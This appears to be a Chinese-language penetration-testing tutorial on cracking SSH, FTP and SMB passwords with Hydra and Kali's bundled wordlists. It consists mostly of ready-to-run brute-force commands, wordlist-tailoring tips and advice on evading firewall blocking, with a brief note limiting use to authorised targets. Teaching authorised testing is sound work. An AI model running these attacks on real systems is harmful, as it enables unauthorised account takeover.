如何使用Kali Linux自带字典进行密码破解?

使用 Kali Linux 自带字典进行密码破解(以 Hydra 为例)是最便捷高效的方式,无需额外下载字典,直接调用系统预装的字典文件即可。以下是详细步骤,包含字典路径、解压方法、适配工具(Hydra)的使用示例及优化技巧:

一、Kali 自带字典核心路径与准备

Kali 预装的字典集中在 /usr/share/wordlists/ 目录下,其中最常用的是 rockyou.txt(需解压),其他字典可根据场景选择。

1. 关键字典路径与说明
字典名称 路径 特点与适用场景
rockyou.txt /usr/share/wordlists/rockyou.txt.gz 1400 万 + 弱密码(需解压),覆盖全球常见密码,适用于绝大多数场景(SSH、FTP、Web 等)
dirb/common.txt /usr/share/wordlists/dirb/common.txt 小型字典(含常见用户名 / 密码),适合快速测试(如 admin:admin 组合)
metasploit 系列 /usr/share/metasploit-framework/data/wordlists/ 按系统分类(Unix/Windows),针对性破解特定系统密码
default-passwords.txt /usr/share/wordlists/default-passwords.txt 设备默认密码(路由器、数据库等),适合攻击未修改默认配置的目标
2. 解压核心字典(rockyou.txt 必做)

rockyou.txt 默认是压缩包(.gz 格式),需先解压才能使用:

bash

复制代码
# 进入字典目录
cd /usr/share/wordlists/

# 解压(需 root 权限,Kali 中默认已授权)
sudo gunzip rockyou.txt.gz

# 解压后生成 rockyou.txt,查看前10行验证
head rockyou.txt

二、结合 Hydra 使用自带字典的实战示例

以最常用的 rockyou.txtdirb/common.txt 为例,演示针对不同服务的破解流程。

场景 1:破解 SSH 服务(用 rockyou.txt 密码字典)

目标 :攻击 Linux 目标机(IP:192.168.1.10)的 SSH 服务,尝试用户名 root

步骤

  1. 确认目标 SSH 端口开放(用 nmap 验证):

    bash

    复制代码
    nmap -p 22 192.168.1.10  # 显示端口开放(open)则可攻击
  2. 执行 Hydra 命令,调用 rockyou.txt 作为密码字典:

    bash

    复制代码
    hydra -l root -P /usr/share/wordlists/rockyou.txt -t 20 -vV -o ssh_result.txt 192.168.1.10 ssh
    • 参数解析:
      • -l root:指定用户名为 root(SSH 常见管理员用户)。
      • -P /usr/share/wordlists/rockyou.txt:使用 rockyou 密码字典。
      • -t 20:20 线程(平衡效率与被拦截风险)。
      • -o ssh_result.txt:保存成功结果到文件。
  3. 查看结果:若破解成功,终端会显示类似:

    plaintext

    复制代码
    [22][ssh] host: 192.168.1.10   login: root   password: 123456

    同时 ssh_result.txt 中会记录该凭据。

场景 2:快速测试弱密码组合(用 dirb/common.txt

目标 :攻击 FTP 服务(IP:192.168.1.20),批量尝试常见用户名 + 密码组合(如 admin:admin)。

步骤

  1. dirb/common.txt 包含简单用户名和密码,直接作为用户名字典和密码字典:

    bash

    复制代码
    hydra -L /usr/share/wordlists/dirb/common.txt -P /usr/share/wordlists/dirb/common.txt -t 10 -vV 192.168.1.20 ftp
    • 逻辑:用 common.txt 中的每个条目作为用户名,同时作为密码尝试(覆盖 admin:admintest:test 等常见组合)。
  2. 结果验证:若目标 FTP 存在 test:test 凭据,会显示:

    plaintext

    复制代码
    [21][ftp] host: 192.168.1.20   login: test   password: test
场景 3:破解 Windows SMB 服务(用 metasploit 专用字典)

目标:攻击 Windows 主机(IP:192.168.1.30)的 SMB 服务,使用 Windows 专用密码字典。

步骤

  1. 调用 metasploit 中的 Windows 密码字典:

    bash

    复制代码
    hydra -l Administrator -P /usr/share/metasploit-framework/data/wordlists/windows_passwords.txt -t 15 -vV 192.168.1.30 smb
    • 字典特点:windows_passwords.txt 包含 Windows 常见密码(如 P@ssw0rdWelcome1 等符合 Windows 密码策略的组合)。
  2. 验证:成功后用 smbclient 测试连接:

    bash

    复制代码
    smbclient //192.168.1.30/C$ -U Administrator%密码  # 替换为爆破出的密码

三、优化技巧:提升自带字典的破解效率

  1. 截取字典前 N 行(快速测试) rockyou.txt 全量有 1400 万条,初期可截取前 1 万条快速测试:

    bash

    复制代码
    # 截取前10000行保存为 small_rockyou.txt
    head -n 10000 /usr/share/wordlists/rockyou.txt > /root/small_rockyou.txt
    
    # 用精简字典攻击
    hydra -l admin -P /root/small_rockyou.txt ...  # 其他参数不变
  2. **去重与排序(减少无效尝试)**部分字典可能有重复条目,去重后效率更高:

    bash

    复制代码
    sort -u /usr/share/wordlists/dirb/common.txt > /root/unique_common.txt  # 去重
  3. 结合用户名生成关联密码(社工思路)sed 命令在字典中加入用户名相关组合(如在密码后添加用户名 admin):

    bash

    复制代码
    # 在 rockyou.txt 每条密码后添加 "admin"(如 "123456"→"123456admin")
    sed 's/$/admin/' /usr/share/wordlists/rockyou.txt > /root/rockyou_admin.txt
  4. 按目标特征筛选字典 若目标是中文环境,筛选含拼音或数字的密码(用 grep 过滤):

    bash

    复制代码
    # 保留包含拼音(如 "zhangsan")或数字的密码
    grep -E '[a-z]+|[0-9]+' /usr/share/wordlists/rockyou.txt > /root/chinese_target.txt

四、注意事项

  1. 合法性 :仅对自己拥有权限的目标使用,未经授权的破解属于违法行为。
  2. 字典选择
    • 通用场景优先用 rockyou.txt(覆盖广)。
    • 快速测试用 dirb/common.txt(体积小)。
    • 特定系统用对应字典(如 Windows 用 windows_passwords.txt)。
  3. 性能控制:线程数不宜过高(建议 10-30),避免触发目标防火墙拦截。

通过以上步骤,可充分利用 Kali 自带字典的优势,高效完成密码破解演练。核心是根据目标服务类型和特征,选择合适的字典并优化使用方式,平衡效率与隐蔽性。

相关推荐
q***65691 小时前
Nginx反向代理出现502 Bad Gateway问题的解决方案
运维·nginx·gateway
JiMoKuangXiangQu1 小时前
Linux 时间子系统 (1):基础框架概述
linux·timer·时间子系统·timekeeping
天选之女wow1 小时前
【Hard——Day8】65.有效数字、68.文本左右对齐、76.最小覆盖子串
linux·运维·redis·算法·leetcode
精英的英2 小时前
【嵌入式Linux开发】如何在Windows上开发Linux ARM版本QT程序
linux·arm开发·windows
咯哦哦哦哦2 小时前
linux patchelf工具 用法
linux·vscode·编辑器·gcc
努力的小帅2 小时前
Linux_进程控制(Linux入门到精通)
linux·网络·shell·进程创建·linux入门
睡觉然后上课2 小时前
如何让虚拟机运行速度翻倍
linux·arm开发·windows
喜欢你,还有大家2 小时前
DaemonSet && service && ingress的
linux·架构·kubernetes
liu_bees2 小时前
Jenkins 中修改 admin 账号密码的正确位置与方法
java·运维·tomcat·jenkins